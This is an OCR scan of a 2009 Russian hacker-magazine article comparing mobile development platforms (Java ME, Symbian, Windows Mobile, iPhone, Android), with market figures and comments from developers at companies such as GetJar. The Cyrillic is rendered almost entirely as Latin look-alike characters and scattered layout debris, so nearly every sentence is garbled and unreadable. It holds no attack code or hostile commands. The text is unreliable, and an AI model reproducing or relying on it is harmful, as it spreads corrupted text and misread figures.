• nerKa~ 8 OCSOeHYlVl

B03MO>KHOCTW yCT3HOBKIII ,[l,onOJlHYlTeJlbHOro CO¢T3. Te, KTO 311alOT -

• Cnel1l11aflYlCTbl BOCTpe6QBaHbi Ha pblHKe

nOA03peBaKlT. i,[l,e era 6paTb. IIInlll nonpocTY He >KenaKlT3Tl-1M 3aHI1MaTbC\1.

npOH1BHEHbKO, • He pa60TaeT Ha iPhone, Palm

Y1JlI1 He

L(eHTpafllll30BaHHoro 1I1 O¢l-1lJ,Y1aJlbHoro M3ra3VlHa Java-nporpaMM HeT, KaK He

OS Y16e3,IJ,OnOJlHYlTeJlbHOrO no -

Ha Window5

cyW,€CTBy€Ty BflaAeJlbLJ,eS TeJle¢OHOB C¢OpMlllpOB3HHOLii KynbTYpbl nOKynaTb

Mobile

Java-corpT.

• MHorc npo5Jl€M c COBM€CTI-1MOCTbKlI-1 nOM€piKI-1B3€MbIM ¢YHKLJ,1-10H3JlOM

Da, Java-nporlll co61-1paKlTCQ Ha p33Hoo5pa3Hbix ¢opYMax I1n YI caLiiTax

• nporpaMMbl CJlO)f(HO npOAaTb

BpoAe GetJar.com, HO ryAa XO,[l,\1TTOflbKO OTHOCI-1TeJlbHO npOABl-1HyTble nonb30BaTefllll IIIJlIII)f(e AeTlI1, >KeJlalOw,Y1e BblTI1HYTb M3KCIIIMyM 1-13 nOAapeH­

,[I)f(3Ba Boo6w,e CTOYlTOCo6HQKOM -

3TO He onepaLJ,IIIOHHa>1 CI-1CT€Ma, npIIIB>133H­

H8Q K KOHKP€THbIM npCYl3Bo,o.vn€Jl>'1M, a YHIIIBepCaJlbHa$'l nJl3TrpopM3. KOTOpyKl nOAiJ,epiKlIIBaKlT YyrbJlIII He Bce TeJlerpOHbl AOP0)f(€

$60-80 [iPhone He B CyeT, DH

HoLii 6IOA)f(€THOLii Tpy6Kl1, 4b11 LJ,eJlb -

IIIr'pbll-1 ApyrYle pa3BJleKaTeJlbHbie npo­

rpaMMbl (nWlTlII KaK y iPhone, KCT3TIIIl. TOJlbKO €AI-1HYlL\bl rOTOBbl nJlaTYlTb 3a Java-nporpaMMbl. Java ME -

I

CKOpee, npepOraTYlBa 1-1 rp yaCTO -

CTCn1s3,[1>Ko6ca)

Horo COAepiK3HYltll. KOTopble npWCbIJl310TC>1 B 05MeH Ha

YHIIIBepCaJlbHOCTb III MHororpaHHOCTb nJl3T¢OpMbl Java ME C04eTaIOTC>1 C

Ha KOpOTH-H1 nJlaTHbtM HOMep.

SMS,

HeCKpOM­

OmpaBJleHHOe

yHIIIBepCaJlbHOCTbKll-1l>iHororpaHHoCTblC caMoro \13bIKa: L1T06bl Hanl1CaTb '-1TO-TO TOJlK080e, Ha,o,O,[l,OCTaTo'-<HO HenJlOXO pa36111paTbCI1 B Bonpoce. Java-KOAYlHr

BEPAIilKT

AJII1 Mo611JlOKHaiiOMYlHaeT BepCTKy HTML -

XOPOWVlM61-13HeC{j,flI1JlKl61-1T€JleM KflOHVlpOBaTb nopHol1rpywKYI YI pa38JleKa­

C03/J,a€Wb ,o.JlI1 Hero BOCnOJlb30BaTbCI1.

XAKEP 05/125/ 09

,[l,€Jl3eWb B€JlOCl-1n€A, a nOTOf·1

nep,aJlIII, pyJllll1-1 ce,[lJla, crro6bl KaA<,Qbl Lii >KeJlaKlu-\Y1 Lii Mor

TeJlbHble nporpaMMKIII. 3apa6aTbiBaTbAOflJlapbl MO)f(HO Yepe3 nOKa3 pem3Mbi Y1JlYl KOHTpaKTbI C onepaTopoM

~

091


I 1

I-

»

.1

.=r:::::J

coding

r+

I

4-

+-1

+- -I I ., +- ... ,- . .;. +.1-SYMBIAN cnPABKA

+

t'+i-+---r

+

,.+++++++

60nbwoe 1(Q11l-1~eCTBO pa3pa6oT41-1KOS

V1cnollb3yeMble l'l3bl K~ H~3KoypOBHe8oro nporpaMM~pOBaH~R: Symbian

=r:::::J ..l.-, .

6a3e Android. OAHaKO CllO>KHO roElOPl-1Tb 0 nonYllRpHoCT~ yCTpoCicTB B6YAYl1\eM. Google yAallocb c<Pop ..... l-1pOSaTb npeKpacHoe KO.\IIbIOHlilH? npVlBneYb

c++,

iii

n0Ar0TOBVlTb.QJ1Sl Hl-1X nO,lJ,p06HylO

j:\oKYMeHTaLJ,l-11O CMHO>KeCTBOM np~MepOB. yj:\06HYK) cpeAY pa3pa60TKI-1. 3TO

C,C++

HeCOMHeHHb/e nfllOCbl, 80TTOJloKO nOKa ClIC;t:;;HO nOI1YYl-1Tb 3a CSO!O pa60ry

n p~MepHoe KOJl~"leCT80 npO,lJ,aHHblxyCTpoVlCTB: 226 MnH, [sMeCTe c RnOHCKI-1­

,o,eHbrl-1. ecn~ Andrcid-KO,ll,ep. KOHeYHO. He pa60TaeT Ha CO¢TsepHYIO KOMna­

MV1 Mo,a,enm-1l1]

Hl-110 C3aKa3YliIKaMl-1S ,D,<JlleKoi1 AMepVlKe .

AOllR pblHKa cMapT4>oHoB: 66%

KOJl~"leCTBOBblnYlUeHHblx MOAeJlel1 TelleepoHoB:

BEPAI1KT

159

n03I1H1BHEHbKO:

-+

~

::::r::::J -+

~-+

Pa3YMHee nOKa Bblcrynl-1Tb B p0111-1 Ha6nlO,D,2leJlI1 Ha 6yMare (1-1 B 06el1\3HV1SiX

• OC pacnpoCTpaHeHa l-1 BeCbMa nepCneKTVlSHa

MeHe,D,;t:;;epos)sce KpaCl-180. a eOTHa .neney Hac TOll:'KOTPIiI nonYOAVlHaKOSblX

• Cneu,VlanVlCTbI socrpe60BaHbi VI SblCOKoonna4~BaeMbl

Tene¢OHa OT HTe iii MHorO-MHoro TeMaTI-1'ieCK~X HOBOCTeCi Ha 6norax. ,Ua)Ke B

• MHO)l(eCTBO Cpe,lJ,CTS pa3pa6oTKV1 V1 COBMeCTl-1MblX $pet:1MBopKoB

3TOM MaTeplllane l-lawI-13KCnepTbi ynOMAHyfll-1 06 Android. 1-10 CaMl-1 CT,AaeaTbCSl

nPIJTI1BHEHbKO:

3TO~ nnaT¢JopMe He cnewaT. ~4-

·s:l3b1KTpy,a,€H BOCSOeHl-1V1

+

'1

.j

,.+-+- . . . +...;.

~++-r

-1

+·~·

.... ·.,l.c·i

• Ps:t,lJ,np06neM COBMeCTl-1MOCT~ Cpa3HblMl-1 Mo,qen51Ml-1

WINDOWS MOBILE CnPABKA

++

O,lJ,H3 l-13C3MbIX,lJ,peSHl-1X onep3L\l-10HHbIXCl-1CTeM C>KyrKO HenpOCTOI1l-1CTOpll1e~

npl-1MepHOe KOll~4eCTBO npoAaHHblxyCTPO~CTB:

l-1,lJ,06poiJI cOTHev. SbinYllleHHblX yCTpoCicTB. 3a 60nee "leM 15fl€Tpa3BV1T101R

aaHI-1A,

::::r::::J

onepaLJ,l-10HKy l-1 BeCb conyrCTsylOw,l-1Ci l-1 KCTpyMeKTapl-1i1 ,lJ,0,lJ,eflbIBal1l-1. nepe,lJ,e­

AOllRpbIHKa: 13%

JlbISanl-1. 06HOBl151llll1l-1 Aosenlll,lJ,OTOro. YTO sce CTanOAI-1KO CllO>KHO. Tyr l-1 113b1K.

KOnI-14€CTSOBbIflYllleHHbtX MOAelle~lTene¢>oHoB: 6011ee 30 HOBbiX MO,lJ,eJlet'1 B

MaKCl<lMaflbHO HanOMl-1KaKll1\I-1i1 crapbllilA06pbll1 C, KOTopbllil3aywI-1 npl-1T51HyflVl K

npOWI10M ro,lJ,y

narrepHaM V11-1,lJ,eRM oon, l-1 nepe)Kl-1SaHl-1s:l no nOBop,yCOBMeCTI-1MOCTI-1C pa3Hbl­

n0311nlBHEHbKO

• CnO>KHa51 Cl-1CTeMa CepTlt1¢J~KaL\~~ nporp3MM

V1cnoflb3yeMble Sl3blK~ H~3KoypoBHeBoro nporpaMM~pOBaH~A: CH-,

+++

-+ ~ +-

::::r::::J

20 MllH_ B npOWJIOM roAY

MVlSepCI-1s:lM~ nnaT$opMbl, cepn'1¢l-1KaTbll-1 np0'il-1eOTBfleKaKll1\V1eAeTanl-1.

• n03BollAeTpa6oTaTbc )f(ene30M Ha Hl-13KOMypoBHe

Nokia nOCTOs:lHHO nblTaeTCR nOnpaBl-1Tb Cl-1ry3UYlIO - nopTl-1poBanl-1q>peLilMBopK

·YA06Hble cpe,a,CTsa pa3pa6on:liI

Qt. 6Yl6m10Ten1 P.O.S I.X. 6a30Bble KOMnOHeHTbI STLl.1 Boost. P~A KJlK)~eBblX API

C++ (I05treams \II l1>Kec H~Ml. ECTboTAellbHble npOeKTbI, n03BOfl>lKll1\l-1e Ha

• Ka'ieCTBeHHa" .rl0KYMeHTaL\~s:l

npOTHBHEHbKO:

Symblan-cMapTax3anyCKaTb no, Han~CaHftOeHa C#, Ruby. Python. npli16aSb

• OC CliIllbHO OTCTaeTOTCOSpeM€Hl-lblXTpe60BaHliI(;1

K 3TOMyc~nbHO€ KOMb!OHl-1TI1. pa3Ho06pa3Hbl€ nool1\p>l!Oll..\~e KaMnaHI-1I-1AJl>l

• YCTpoLilCTB3 - npelo1MYl1\eCTBeHHoa3lolaTCKoro npCliICXO>K.rleH\IIA

pa3pa6oT"l~KOB ...-

• OCHOBHble nOllb30BaTenlil - Kopnopau,l-1l-1l-1TeXHc$pl-1Kl-1

~ nonYYV1Wb npYlMepHylO KaPT~HY npOTl-1!30pe4I-1Boro Ml-1pa

C# .Net

50 MllH, CHayaJla CYl1\eCTBO­

Symbian-ACGeI10nepos. YTO,lJ,O. c06cTBeHHo. npOA8.>K nporpaMM,- AoneTa

.• +++

00 3TOM MO;:l<HQ He AyMaTb. Nokia 8HOHcV1poBafl3 Mara311lH no, KOTOpbli16YA€T

TaKoe Oll\YLLleHYle. 4TOJln3HpopMY H2MepeHHo JarH311l-1 Brynl-1K - OHa He

BCTpaI-1BaTbC>l a HOBblecMapTbl. HO nora HenOHflTHO. KOro

OTBe4aeT COBpeMeH HblM Tpe60saHl.1s:lM KCi<OPOCTl-1 pa60Tbll-1HTep¢Jeillca.

ltl

KaKryAJ nycT>! 1.

B 3noxYApKO­

80 scex COBpeMeHH blX Aesal:1cax ClIIHTep¢eLilcoM 560 eCTb cepsl-1c Download I.

MynbTIo1MeAl-1~I-IOCTl-1. Ka4eCf~y, l-1HTerpaL\l-1l-1 CWeb l-1 CepSltlC3Ml/L

Ky,lJ,a ¢J~HHbl nycKaKlTTol1bKO cynep-nynep KOMnaHl-1l-1 (BbICOK~M CTalycoM Yl

Kpaco4HbiX AMOLED-3KpaHoB WinMo nOMep>KliIBaeT Bcera 65 535 L\BeTOB 11

::::r::::J

OyeHb TOflKOBblMI1 np0,lJ,YKTaMV1. El1\e cYllleCTByeT BCeTOT>Ke GetJar. cneUl-1a­

6e36o>KHOTOPM03V1TAa>t<e Ha caMOM KpyrOM >!Celle)e. CBe)i(eHbKaR aepclo1Sl6.5

Jl\13l-1pOBaHHbllil Handango VI BCTpoeHHblLils caLilT Nokia Mara3lt1H. HO 3TOy>t<e

VlMeeTHo8bli1 M8Kl-1R>KAa napy KeKOHL\emyal1bHblx ~HHcBa4~i1. KOTopble Mano

-+ .

coaCCM APyroLil User Experience. He>KeJlYl nOKynKiJ cotPTa npl'lMO cAesai1ca

ltIcnpaSJll110T n0I10)KeHlIle.

+

BJlIOOOM cI1Y4ae.- npoA3Tb npOcTeHbKy!O l-1rpy I1fl~ nporpaMMY B Ml-1pr;

8 TO)f(e BpeMl'l nl1aT¢OpMa npeJ\OCTaBfll'lCT 6eCnpeLJ,eAeHT'10 HIo?3Kl-1~ ypoBeHb

Symbian HeyA8cTC>I, 3AecbAPyrne l-1HTepeCblL-1 >KeJ1aHl-1s:l. Symbian SDK

Aocryna K>Kefle3Y. OyeHb yaCTO nporpaMMbl. KOTopble MO:>KHOCJ\e1l3TbMA

npe,lJ,OCTaSnSleT rl-1raHTCKl-1e 803MO)l(HOCTI1l-1 nOllb30B8Tefll1 npl-18bIKlll-1 K

WinMo, Hellb3s:l peam130BaTb HI-1 Ha OAl--!oiJI,lJ,pyroii nflaT¢JopMe. V1.'-1eHHono::noMy

M3KCl-1ManbHO SblCOKOMY ¢JYHKLJ,V10Hany. Ho 1-1 (TOIllT MeCTHoe

no He $5. a. KaK

::::r::::J -+- -,

BKyne CcaMblM nepe,lJ,OBbIM)Kefle30M. KorAa-To TonbKC l--'aAesaiicax CWindows

BEPAI1KT

Mobile MO>KHO 6blJ10 <lCTpeTII1Tb VGA-3KpaHbI ~ Wi-H, Tenepb eWindows-re­

Symbian-,lJ,eBeJlOnepaM nY4we pa3BI1BaTbc>! B CTopoHypa6OTbi B coqlTBepHOLil

n64>oHbI CTaBs:lT3KpaHbl cCyMacwe,owliIM ptl3peWeHV1eM800x680. CKOTOPb1MV1

KOMnaHIIlI-1. He>Kefll-1 B K8yeCTB€ l-1H,lJ,I-1Bl-1,lJ,yaflbHoro KOA€pa. BOT3TO- ,lJ,eLilCTBV1­

MOryr copesHosaTbcA TonbKO MOHCTpbl SlnOi--lCKO,O pblHKa npl-1 BceM o6l-1nl-1l-14>YHKl\I-1~. MOUJ,HOM )Kel1e3e \tIOor<nblX B03MO>KHOcrRX KOHe4­

Tel1bHO nepCneKTl-1BHO l-1 naXHeT 3eneHblMl-1 KYniOpaMl-1!

-1" .... 1- ... +-

l~

+-r+-

-+j-

+ +

+ t

++- .- -

-'

J.

+

""to

l

YWinMo np06JleMa TaI-1TC~ rny6oKo BHYTpV1, B Kpl-1BOSaTOM KO,lJ,e l-1 MeAlleHHOLil

V1cnollb3yeMble S'l3bIKI1 H~3KoypOBHeBoro nporpaMMl-1pOSaHIUI; Java npl-1MepHOe KOI1l-1"leCTBO npoAaHHblxyCTPO~CTS;

Hble yCTpOf1CTSa COBepweHHO He y,QOBfleTBopSlIOT 3anpocaM COBpeMeHHoro nOflb30BaTeflA. np~SblKwero KKpac04HoMy V1 6blCTpOMy ~HTep¢e~cy iPhone.

ANDROID

CnPABKA

pa3pa6oTKe HOBblX BepCl-1i1.

1 MV1JlllI10H

}J,onSl pblHKa; MeHee 1%

BEPAI1KT

KOJ1lo14eCTBO SblnYlUeHHblX MO,lJ,elle~ Tene4>oHoB:

Windows Mobile HeyMep Itl He yMpeT - PeAMOHJ\ew,eAonro 6YrleT nOMe­

n031llTHBrlEHbKO

p>Kl-1BaTb CBOIO DC l-1 nbITLlTbCSil-1CnpaBV1Tb nOflO)KeHlIle. nOTeplO nonynAp­

• Y,lJ,06Hble cpej:\CTsa pa3pa6oTKl-1

HOCTl-1 yMHb111 KO,lJ,ep MO>KeT I-1Cnonb30BaTb AI1>1 p€aJ1I-13aU~~ cso~x aM6l-1l.\"~.

• nO,lJ,pOOHaR AOKYMeHTaL\l-1Sl

Be,D,b HaAO >Ke C03,L-laTeflrlM HOBeHbi<fIX HTe YTO-TO CTaSlI1rb Ha C801-1 AOpOrf1e

• 5ecnnaTHOCTbA1l51 pa3pa60T'-lIl1Ka

l-1rpywKI-1?

npOTHBHEHbKO • KpailiHe MallOCOBMeCTIiIMblX MOAeneCl

+++ 3nl1J10r

• Cl-1CTeMa ellle,lJ,OCTaTOllHocblpaSl

Tbl HaeepH>1KaA<,lJ,eWb3aKllKl4eHl-1rl, rJ],e YMHb,ellKl,lJ,~ OTnpaB~TTe6>! no

1

:r:::J

Bee npOMblWfl€HHble KOMMYH\IIKaTOpblltl pa3Hoo6pa3Hbie cnel1l1al'l-13~pOBaH· Hble yCTpoi1cTsaAellaIOTCs:l Ha 3TO~ OC_ Aeti.l,e OC OT Microsoft wnOflb3YKlT

Ml-1HV1MyM. $25. aTO l-1 $50-70 [oblBaeT l-1 TaKoe).

t--t-t

t

+_~l

-.I-+"7"+-+r

• CneLJ,>1al1V1CTbl Mano 80CTpeOOBaHbJ Ha pblHKe

Il}0KHoMY3Apecy. cKa;:+<yr. "lTOCKa43Tb, nOCTaSl-1Tbl-1 H3 4€'M KO,lJ,l-1Tb. V1 HanpacHo

Samsung l-1 MHorV1e Apyrne KOMnaHI-1l-1 n006ell\311l-1 BbinyCTI-1Tb3nnaparypy H3

)KJleWb_ 3TO He V1MeeT CMblcna 6e3Y4eTOB COTHV1 BTOP1-1"lHblx¢JaKTOpOB f1YCI10­

~

092

XAKEP 05/1251 09


»

coding

epeMeHHD pa3BI-1BaeM HeCKOJlbKO HanpaSJleHI'1i:i, TaK\1X KaK: Symbian,J2ME. WinMo, iPhone, Android wLinux, L-lTo6bI6b1Tb rOTOBbIMl.1 K B03MO)KHb/M r:epe­ MeHaM pblHK8 V1 '-no6bl Hac He 3ap,eJ111 TpYAHble BpeMel-la III1H1 3aTOpMa)Klt1BaHI.H~ pa38tHV111 J1~6oro ltlrpOKa I1H,D,YCTPIM1.

oPA50IE: Mbl CYl-1TaeM, 4Toycnex npoeKTa 3aBl-1Cl-tTHeOTl.tcnO/lHSleMoroSl3bIKa V1J1\1 nnaTepopMbl, a OTCTeneHI1 roTOBHOCTltl KOMC!H,D,bl KpeWeHL-11O B03MO>KHbIX

(nporHo314pyeMblxl npo6neM, aTalOKe OT creneHVI cnO)l(HOCTltl npoeKTa, KOH€4HO­ ra BI1,IJ.eI-H111 npOAyKT3 3aKa3'-1l11KDM lt1 HaweCi mW8H0cn15bICTPO, Ka'-leCTSeHHO

CAenaTb n POAyKT 8 OTBe,n,eHH ble CPOKI/L

++++++++++++++++++++++++++++++++

m::i!m:Iii OTPACllY1: Mo6i'lllbHOe no, 8CTpoeHHoe no, VoIP, Java,

.NET, CllO)KHble WEB- npl1nO>KeHt1R

M05Y111bHbIE nllAT<bOPMbl: iPhone. Android, Windows Mobile, BlackBerry,

H~KII1TAJlEOHOB.

~

KOMnAH~~CACTUSSOFT

Symbian,J2ME. nOAPo6Hee: caclusso[l.blz

'

03AKA3AX: nOClleAHlt1e nOllrOAa Mbl nonyYaeM MHor03aKd30B Ha pa3pa6oTK)'

~

nOA iPhone. 501lbWl-lHCTBO HGiWl-lX 3aK33Ylt1KOe - aMepV1KaHCKlAe KOMnaHIt1I1. a 8

CWA iPhone 04eHb nonynl1 peH. nO,ll,orpesalOT \o1HTepeC KnpOrpaMMi'lpoaaHlAlO

nOA iPhone V1 MHOrO~I-1CJleHHble success stories 0 ((8bICTpellIt1BWltlx» nporpaM­

8L1~. L.(e11b CTaTbl1- nOMOYb leee CAenaTbnpaBliIJlbHbli1Sbl6op. YBlIIAeTbTpeHAbl V1YCJ1b1WaTb MHeHl-1>l3KCnepT09.ABbl80,D,bl nplo1,D,eTCI'l

MHblX npoAyKTax.

p0)l(AaTbY)l(eCaMoMy.

)J.ep3a~!

KPI-1C AbIOPI-1.

KOMMEHTAPl-U1 3KCnEPTOB

KOMnAH~~

GETJAR

mIDmD OTPACn~:TeJleKOMMYH"'KaL\V1L1,¢I-1H3HCOSd>l c4Jepa.

3,lJ,paBOOXp2HeHlo1e, 6e30naCHOCTb, L1H)l(eHeptMI, TpaHcnopT VI C5bIT.

M05~bHbIE

nllAT¢OPMbl: Windows Mobile, Symbian, J2ME, Brew,

Android

nOAP05H EE: sJ:ns.oft.c.om.

o 3AKA3AX: CeL14dC, cKopee. Mbl 06bl'lCHI'leM Klll1el-ITY,AIlI'l KdKoiil rlJlanpOpMbl eMy JlY4we pa3pa6aTbisaTb no. He)!(elll1 H306opOT. Knl1eHTbI nplAXo.Q5IT IllAWbC V1,aeI1MV1 .., CV1llbHbiM )l(enaHl-1eM BonllOTl-1rbl-1X S;K1-13Hb.Aallbwe - p<e pa6oT3 HawV1X 3KcnepTD8. B 3aBI-1CI-1MOCHiI oTc4Jepbl.QeI'lTellbHOCTlA. o6pa33 KOHe4Horo nOllb30BaTemi I-1APymx4JaKTOp08, 3KcnepTbi nllaHl1pylOT 1-1 peKoMeH.QYIOTTe V11lt1 V1Hble nlldT4>opMbI. o nEPcnEKH1BAX: CnOJKHO BblAelll1Tb npl10pl-ffeTHylO nn3T¢opMY. Mbl O,o,HO­ XAK[P OS/t2Sf 0'1

~

093


,+-+

>> coding

:::::r::=J +++­

H04aMlil3a.n,e6arrepOM. Bce 3TO R3H3fO no co6CTBeHHoMy onbllY. TaK 470 MO~

1_++

COBeT- CHa4ana 4VlTaC1Te KHL1>KKliIli1 HeoAlilH pa3, ~OTex nap. nOK3 He noi1MeTe

L

TeopVlfO, VI TOJ1bKO nOTOM Ca,D,lilTeCb 3a Carbide

:::::r::=J

nOCJ1e,D,Hl.1e SDK Hoefll nplolCTasKy all-in-one: BHI-1X AXO,QS1T cpe.n,CTB3 pa3pa­ 60TKltl Ha Symbian C++. Open C/C++. Java, WRT [BlilA*eTbl )1.n~ 6pay3epaJ lol

+ ';"·'1

Python. BK,NeCTBe IDE peKoMerL.llYIOCarbide.c.,.+ 2.x- 3TO Ha~6oJ1ee MOW,Hbli1 III y.n,06Hbl C1lt1HCTpyMeHT, KTOMy >Ke. C~eK36p>l2008 CT3BWI1~ 6eCOllaTH bl M. Ha AaHHblL1 MOMeHT Carbide.c++ n03BOflReT C03,Q3saTb np'.1J10)KeHIol51 Ha Symbian

C++. C/C++ lil QI. QllOKYMEHIAUVlVI: SDK KCMnJ1eKTyeTC>l BHYWli1TeJ1bHbIM cnpa804 H\1KOM. 8

t I

lJ,eJlOM, HeA0CTaTKa 13.n,OKyMeHTaU,111-1 no nllaT¢opMe Symbian HeT. E,QI1HCTBeH­

::::r:=J

Ha5l npo6neMa - 04eHb Mano PYCCK0I13bI4t-:bIK MalepVlaJ108. o KOMblOHHH1:3a OTBeTaMlil Ha yaCTHble BonpOCbl MO)KHO o6paT\I1TbC~ B Forum Nokia. 370 nOJ1Hou,CHHa~ opraHlil3au,lt1I1, B3a,D,a4l-1 KOTOPO~ BXO,ll,li1T83a­

I I

\.1MOAeC1cTBl-1e COlil3H€COM 11 pa3pa60T4L1K3MIol. 3a AOKyMeHTaLl,lilei'. tla pyCCKOM MO:>KHOCXO,D.lIITb Ha devmobileru. 05ANDROIO: Android Cill1WKOM CbIPOV!. Googley.n,3J10CbOTl.f3CTli1 nOBToplilTb .~+

...

WOW-3¢¢eKT Apple, lol MHorlile nporpaMMlilCTbI803J10>K\1J1L1 Ha Hero Heo6oc­ HosaHHble H3,D,e>KAbl. H0516bl nOA0>K,AaJ1, nOKaAndroid nOKOpL1T06ew,aHHble

::::r:=J

o nEPCnEKTHBAX: Ce~YaCOplileHTlilpyeMc~ Ha ,Phone, Symbian li1 BlackBerry, TaK Ka Ky;>Ke HaKOnlilnlil AOCTUTOYHO onblTa. a 8HywlilTenbHoe nopT¢oflVlO npIIIBnl?­

~++

KaeT HOBblX KJ1l-1eHTOS. B.o,ollrOCpOYHO~ nepcneKH1Be !cKOpee scero, 6JlVl>Ke K 2010 roAY) Mbl paCC4L1TblBaeM Ha nOTOK3aK330S nOAGoogleAndroid.

oPA50TE: KOHu,emyaflbHolii pa3Hlilu,bl Me>K,D.ynpoeIffilMI-1Afl>l pa3HblxclilCTeM HeT, HO Afl>1 iPhone lilAndroid, Bo6w,eM. nonY4aeTC>l ner--te. B.o,aJlbHeli!weM

+++

pa3pa6aTbiBaTb no.o,Android 6YAeTCflO;>KHee 11-13-33 60ilbworo Konlil4eCTBa yCTpoikTGHa pblHKe OTpa3J1lil4HblX npOVl3BoAl.neneVl, 4TO nOTpe6yer AOnOnHli1­

'::::r:=J +

T€nbHblX pa6oTl.

++++++++++++++++++++++++++++++++

mEl OTPACJ1H: caMbllii nonYfll1pHblW 8 Mlilpe KaTaflOfM06L1J1bI-lOrO no li1 KOMbfOHL1TI-1 pa3pa60T4lilKOB. nJ1AT$OPMbl:Java. Symbian. Windows Mobile, BlackBerry, Palm, Flash lite.

j

I

nOAP06Hee: getlar.com.

onJ1AT$OPMAX: CerOAH51 caMo(;1 nonylll1pHol!i nJ1aT¢>opMOf1, 6e3cOMHeHIol>l, '::::C::J ,

~Bfll1eTCtl

Java. 8 3TOM HeCflO:>l<I-loy6eAlolTbCrI, npOCMOTpes HawycraH1CTIolK'!'­

stal s.getja r.com. 50nbWli1HCT80 113 nepBOIAASaAu,aTKIol nOAD.ep)KI-1BaeTTOJ1bKO Java. ~ Bo06L.1J,e, Ha pblHKe MaKClilMaJ1bHOe KOJ1\11yeCTBoJava-cOBMeCTli1MbIX Teneq,OHOB.llTO KacaeTCSl 6J1lil;>Kai1wero 6YAyw,ero, T04epe3 3-SileT IlI1AepaMlil CT3HyrSymbian lil iPhone lB npL1Se.o,eHHoM nopl1.llKel. NokiaaKTIolBHO npOABli1ra­ eTSymbian. n03TOMY, nOK3 QHa He CMeHL1T nOflIolTI1KY, ySymbian 6Y.lleTOrpOMHa51 .ll0Jl51 pbIHKa.Aofll1 pblHKa iPhone YBefllil41olTC~ nOCJle n0l18J1eHI-1Sl6011ee .llewe­

+

BO~

MOAeml. 4TOAOIl>KHO Cf1}"-1lilTbCR OTHOOllenbHOCKOpO.

::::c::J

05 AN DR OJ 0: Android npeTeHAyeT Ha MeCTO AOM V1HaHTHo~

.+;-

,IJ,L1Temll>lIolY,llo6eH.llfl51 pa3pa60T4L1KOB

l

+

f::r::::::J .;.t-

'::r::::::J +~i

._+-

8blCOTbl, npe>K,[l.e yeM Bcepbe3 paCCM3T;)l.1BaTb 3ry OC. Android Y>K-e cel1yac

o PA50TE: OTfllll4lole GetJarOT APyrl'1X Mara3V1HOB \11 Mo6lilJ1bl~bIX npVlflO)l(eH\I1V1 B

VlMeeTcepbB3Hbie npo611eMbl CCOBMeCTlilMOCTbIO. 50IOCb,,D,J1>l 3TOVI DC 6y,nyr

TOM, 4'70 Mbl HeorpaH1iI4li1BaeM nonb30saTellR KaKO~-TOOAHO~ li1flvt napoti nnaT­

xapaKTepHblBCe tle,D.OCTaTKlt1 J2ME. C03AaHlile npIilJl0)l(eHl'1lii Ha Java - 33­

¢>aPM. Mbi npe,a,oCTaSn>leM MaKCVlMaJ1bHbIVlBbI6op, nplilBneKaeM pa3pa6oT'1l<1KOB

HSlTVl" Hec..nO>KHoe. n03TOMY coo6I.J.J,eCTBoAndroid·pa3pa60T4lt1KoB .o.OBOflbHO

Bcex: r,epCfleKTI-1BHbIX nnaT¢>opM \.1 n03BomeM IolM 3apa6oTaTb. Ha\.16oJ1ee aKlVl8HO

MHoroY\.1CneHHO, a 3Ha4lt1T- Bb!COKa KOHKYpeHLV'ISl. KaK pa3pa6~IilK. ~ eei1,.ac

pa3BlilsalOTCfI OTAeflbl J<lva, Symblan. BlackBerry, Windows Mobile lil Android.

He Bli1XYS03MO>KHOCTeVi nony'leHlill1 npVl6bl}l\t! OTC03,QaHlil>l npltlflO>KeHlilliiAJ1R

++++++++++++++++++++++++++++++++

ryrJlO¢OHOB. 05IPHONE: pa3pa6OTKa npl<1flO>KeHIolSl A"~ iPhone He lilMnoHl1pyeT MH€

~ OnbITPA50Ibl:5ymbianOS[nnaT¢>op­ Mbl 560 l'1 UIQI. HeMHoro Windows Mobile. 3ACJ1Yr~:

++

Linux~nflaTq,opMbl.

OH npeAflaraerrlol6Kylo CI-1CTeMY J1lilLl,eH3li1pOSaHlilR. HVl4ero He ClOIolT np0l<13BO­

Accredited Symbian Developer. Forum Nokia Champion

no lil)1eViHbiM C006pa)l(eH\I1SlM. nJ1aT4!0pMa Apple IilMeeT60nbwoe 41>1CJ10 OrpaHlilY€H/ilVI. KaK BCJ1eACTBlilBTeXHW1eCKI1X oc06eHHocTeC1, TaK lillil3-3a oco6o~ nOll L1H1 Klol KOMna Hlill1.l.J,e"ble KnaCCbl nplt1J10>KeHIoli1 p'fll1 iPhone

Jl106101I: Symbian as. nn3Tq,opMa 560.

c03AaTb npocTo Hl?B03MO>KHO. CpeAVI 0AHomnHbiX nporpaMM CllO)l(Hee

HEJ1105~T:

KOHKyplolpoBaTb, lil H3 nepBoe MeCTO BbIXO,D,IH MapKeTVllir, a He MaCTepCTBO

iPhone

o Kon~HrE: Symbian c++ n03B0J151eTC,QenaTb Ha S60TO. 4TO He Moryr HI-1 J2ME. HL1

pa3pa6oT4lilKa.

KaKOM-flV16o.o,pyroi1 Sl3blll; npOrpaMM\.1pOBaH\I1Sl WlI1TeXH0J10rl1Sl. ~3YYaTb ero MO)l(HO

OnEHbrAX:Symbian li1MeeTpl'l)1 npelolMyw.cCT8 nepe,D,APyrlolMlil DC - 3TO

cpa3YflOCJle 6a308oro Io/PCCI oon 11 C++, KOTOpbllii MHOrl1M 4lilTalOT BBYJe. OnbITpa3­

Wli1pOKlile 003MO)l(HOCTl'1 VI pacnpocTpaHeHli1€. CBO~ App5tore He.o,aSHO opra·

pa60TKlil npliln<»KeHI1f1 AJlSl WindCM'S HeTpe6yeTCSl - Hao60poT, MO>KeT nOMewaTb.

HL130Ban Samsung, Nokia aHOHC\o1pOB3fl3 Ovi Slore 1'1 npe,D,ocraeJ151e7 Ha60p

«V1HAycCKL1i1 KO,l].». npeHe6pe>KeHlole npasHflaM lil,.n.3>Ke HapyweH lile cor.na­

pa3J1l.14HblXnporpaMM no s3a\:lMo.oeillCTBItlIo C61ol3HecoM 101 KaHa.nbl npo.lla:>K

WeHIiI5l 06 lilMeHoaaHlol1iI 06beKlOB - OTOnblOTC>l npOrpaMMI-IC1)'6ecCOHHb1Mlil

CO¢>T<'l VI KOHTeHTa.

~

094

XAKEP

os 1125109


» ++++++-'--

coding

+++++++++

~th1{tfM

:11(

:J2ME,Windows

Mobile 2003/200S/clJ, 3ACJ1Yr~: Senjor~

_ ...Ib"""

J1106HT,J2MEIMID"-,-HEJlIOEi~T:Symbi.er

_::c:::u:it illeOUIxOpowo3HaewbJava. Y

OEiANDROID: Ha~

\13bIKa/nn3r¢opMbl eCi:>~~.~PKl-\. HO rAe lJIX Her? Boo6111e, 8 nnaHe 3aK08blpOKY&3~~Oepacnpe,q€ n eHl1e, TO eCTb, y

